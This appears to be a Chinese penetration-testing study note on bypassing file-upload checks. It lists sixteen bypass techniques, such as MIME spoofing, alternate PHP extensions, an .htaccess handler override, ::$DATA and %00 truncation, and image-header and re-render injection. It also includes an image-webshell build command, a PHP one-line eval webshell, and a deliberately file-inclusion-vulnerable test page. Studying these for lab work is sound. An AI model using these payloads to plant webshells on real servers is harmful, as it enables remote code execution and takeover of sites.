bc0d9c0c-bba7-4bb1-9b2e-c069b34d8c一,图片马制作 copy 2.jpg/b + as.php/a 3.jpg 二、图片马运行函数
<?php
/*本页面存在文件包含漏洞,用于测试图片马是否能正常运行!*/
header ("Content-Type:text/html:charset=utf-8")
$file = $_GET['file'];
if(isset($fi1e)){
include $file;
}else{
show_source(_file_);
}
?>
1、前端JS检测绕过
绕过方式:
2、MIME类型检测绕过
绕过方法:使用burpsuit抓取content-type类型进行绕过
3、文件后缀检测-黑名单绕过
绕过方法:上传特色可解析后缀绕过:php2、php3、php4、php5、phtml
4、文件后缀检测-黑名单绕过【.htaccess】
<FilesMatch "x.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
5、文件后缀检测-后缀点名 空格绕过【. .】
绕过方法:通过过滤方式漏洞进行绕过
**6、文件后缀检测-后缀名大小写绕过 **
绕过方法通过修改后缀名大小写进行绕过 黑名单缺陷
7、文件后缀检测-后缀点名 空格绕过【.php .】
未过减文件后缀名的空格,通过filename=as,php . 黑名单缺陷
8、文件后缀检测-后缀点名绕过【.php.】
未过减文件后缀名,通过filename=as,php. 黑名单缺陷
9、文件后缀检测-特殊字符串::$DATA
未过滤待殊字符串::$DATA,通过file name=as.php::$DATA绕过
原理:php在window的时候n果文件名+::$DATA会把::$DATA之后的数据当成文件流处理不会检测后缀名,且保持"::$DATA"之前的文件名,他的目的就是不检查后缀名
10、文件后缀检测-后缀名多重点空格绕过(.php. .)
通过多重后缀名点空格绕过filename=as.php. .
11、文件后缀检测-**GET**方式00截断绕过(save_path=/upload/as.php%00)
通过burpsuit抓取 使用%00截断
![[Notion/👽渗透笔记👽/上传漏洞/attachments/Untitled.png]]
12、文件后缀检测-**POST**方式00截断绕过(save_path=/upload/as.php%00)
![[Notion/👽渗透笔记👽/上传漏洞/attachments/Untitled 1.png]]
通过burpsuit抓取 使用%00截断 需要使用hex 先输入空格找到20编码 然后在前面修改成00
13、文件内容检测-文件头检测绕过【GIF84a】
一句话木马开头添动加图片文件幻数,如:
GIF89a
<?php @eval($_POST[pass]);?>
或者生成图片马:
copy 1.jpg/b 1.php/a 2.jpg
14:文件内容检测getimagesize()函数绕过
绕过方式:通过图片马或图片标识字段+一句话木马绕过
https://blog.csdn.net/qq_34206560/article/details/81044253
15、文件内容检测-exif_imagetype函数绕过
图片木马绕过
16、文件内容检测-图片二次渲染绕过(代码注入绕过)
限制
1.只允许jpeg、png、gif类型文件上传
2.png图片文件二次渲染:imagecreatefrompng函数
3.jpeg图片文件二次宣染:imagecreatefromjpeg☒数
4.gif图片文件二宣染:imagecreatefromgif函数
理解上方函数的意义
绕过
可以用图像处理软件对张图片进行代码注入,这类攻击的原理是:在不破坏文件本身的渲染
情况下找一个空白区进行填充代码,一股是图片的注释区,这样能保证本身文结构是完整
的,对于宣染测试基本上都能绕过